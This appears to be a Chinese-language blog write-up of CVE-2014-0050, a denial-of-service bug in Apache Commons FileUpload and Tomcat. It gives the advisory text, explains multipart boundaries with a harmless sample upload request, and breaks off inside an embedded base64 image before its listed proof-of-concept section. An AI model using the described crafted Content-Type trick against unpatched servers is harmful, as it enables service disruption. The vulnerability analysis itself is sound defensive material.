CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

时间：2023-03-08 23:35:01
CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

catalog

. Description

. Analysis

. POC

. Solution

1. Description

MultipartStream.java in Apache Commons FileUpload before 1.3.1, as used in Apache Tomcat, JBoss Web, and other products, allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted Content-Type header that bypasses a loop's intended exit conditions
Apache Tomcat和JBoss Web中使用的Apache Commons FileUpload 1.3.1及之前版本中的MultipartStream.java文件存在安全漏洞。远程攻击者可借助特制的Content-Type header利用该漏洞造成拒绝服务(无限循环和CPU消耗)

Relevant Link:

http://cve.scap.org.cn/CVE-2014-0050.html

https://www.rapid7.com/db/vulnerabilities/apache-tomcat-cve-2014-0050

http://www.cnblogs.com/geekcui/p/3599425.html

2. Analysis

在最初的 http 协议中，没有上传文件方面的功能。 rfc1867 (http://www.ietf.org/rfc/rfc1867.txt) 为 http 协议添加了这个功能。客户端的浏览器，如 Microsoft IE, Mozila, Opera 等，按照此规范将用户指定的文件发送到服务器。服务器端的网页程序，如 php, asp, jsp 等，可以按照此规范，解析出用户发送来的文件
一个典型的multipart/form-data文件上传包格式如下

POST /upload_file/UploadFile HTTP/1.1

Accept: text/plain, */*

Accept-Language: zh-cn

Host: 192.168.29.65:80

Content-Type:multipart/form-data;boundary=---------------------------7d33a816d302b6

User-Agent: Mozilla/4.0 (compatible; OpenOffice.org)

Content-Length: 424

Connection: Keep-Alive -----------------------------7d33a816d302b6

Content-Disposition:form-data;

name="userfile1";

filename="E:\s"Content-Type:

application/octet-stream abbXXXccc

-----------------------------7d33a816d302b6 

Content-Disposition: form-data; 

name="text1" foo 

-----------------------------7d33a816d302b6 

Content-Disposition: form-data; 

name="password1" bar 

-----------------------------7d33a816d302b6--

可以看到，在multipart/form-data流中使用boundary进行分段，而boundary的具体内容在HTTP头部中给出

0x1: 漏洞代码分析

/commons/proper/fileupload/trunk/src/main/java/org/apache/commons/fileupload/MultipartStream.java

aaarticlea/png;base64,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